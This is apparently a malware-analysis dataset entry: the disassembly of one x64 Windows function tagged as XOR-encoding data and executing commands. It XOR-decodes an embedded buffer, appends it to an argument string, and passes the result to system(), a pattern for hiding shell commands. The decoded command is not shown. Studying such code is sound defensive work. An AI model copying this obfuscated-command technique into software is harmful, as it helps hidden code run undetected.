Function at 0x1400011c0
Capabilities:
Encode data using xor
Execute command

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x130
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x110], rax
lea rdx, [rsp + 0x30]
mov r14, rcx
lea rcx, [0x1400073d0]
movups xmm0, xmmword [rcx]
movzx eax, word [rcx + 0xb0]
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm0
movups xmmword [rdx + 0x20], xmm1
mov word [rdx + 0x30], ax
movzx eax, byte [rcx + 0xb2]
xor ecx, ecx
cmp dword [0x140009058], 2
mov byte [rdx + 0x32], al
jl 0x1400013b4
movdqa xmm0, xmmword [0x140007790]
lea rdx, [rsp + 0x34]
movdqa xmm4, xmmword [0x140007700]
movdqa xmm3, xmmword [str.....eeeeeeeeeeeeeeee_]
movdqa xmm5, xmmword [0x140007730]
movdqa xmmword [rsp + 0xf0], xmm0
mov r8d, dword [rsp + 0xf0]
movaps xmmword [rsp + 0x120], xmm6
movdqa xmm6, xmmword [0x140007770]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0xb0
jl 0x1400012c0
movaps xmm6, xmmword [rsp + 0x120]
cmp ecx, 0xb3
jge 0x1400013ef
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x2e8ba2e9
lea r8, [r8 + 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0xb
movzx eax, cl
inc ecx
sub al, dl
sub al, 0x65
xor byte [r8 - 1], al
cmp ecx, 0xb3
jl 0x1400013c0
mov rbp, qword [r14 + 0x10]
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001400
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbp
cmp rax, rbx
jb 0x1400015bc
cmp qword [r14 + 0x18], 0xf
mov qword [rsp + 0x158], rsi
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], r15
jbe 0x140001444
mov r14, qword [r14]
lea r15, [rbx + rbp]
mov edi, 0xf
lea rsi, [rsp + 0xf0]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0xf0], xmm0
movdqu xmmword [rsp + 0x100], xmm1
cmp r15, rdi
jbe 0x1400014ee
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400014ad
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
mov rcx, rax
call fcn.140005360
test rax, rax
je 0x14000157c
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400014e6
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400014c6
xor esi, esi
jmp 0x1400014e6
cmp rcx, 0x1000
jb 0x1400014de
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400015c2
jmp 0x14000148e
call fcn.140005360
mov rsi, rax
mov qword [rsp + 0xf0], rsi
mov r8, rbp
mov qword [rsp + 0x100], r15
mov rdx, r14
mov qword [rsp + 0x108], rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + rbp]
mov r8, rbx
lea rdx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
lea rcx, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0xf
cmova rcx, qword [rsp + 0xf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x108]
cmp rdx, 0xf
jbe 0x140001588
mov rcx, qword [rsp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001583
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001583
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000539c
mov rdi, qword [rsp + 0x160]
mov rsi, qword [rsp + 0x158]
mov r15, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.140005340
add rsp, 0x130
pop r14
pop rbp
pop rbx
ret
call fcn.1400011a0
int3
call fcn.140001100
int3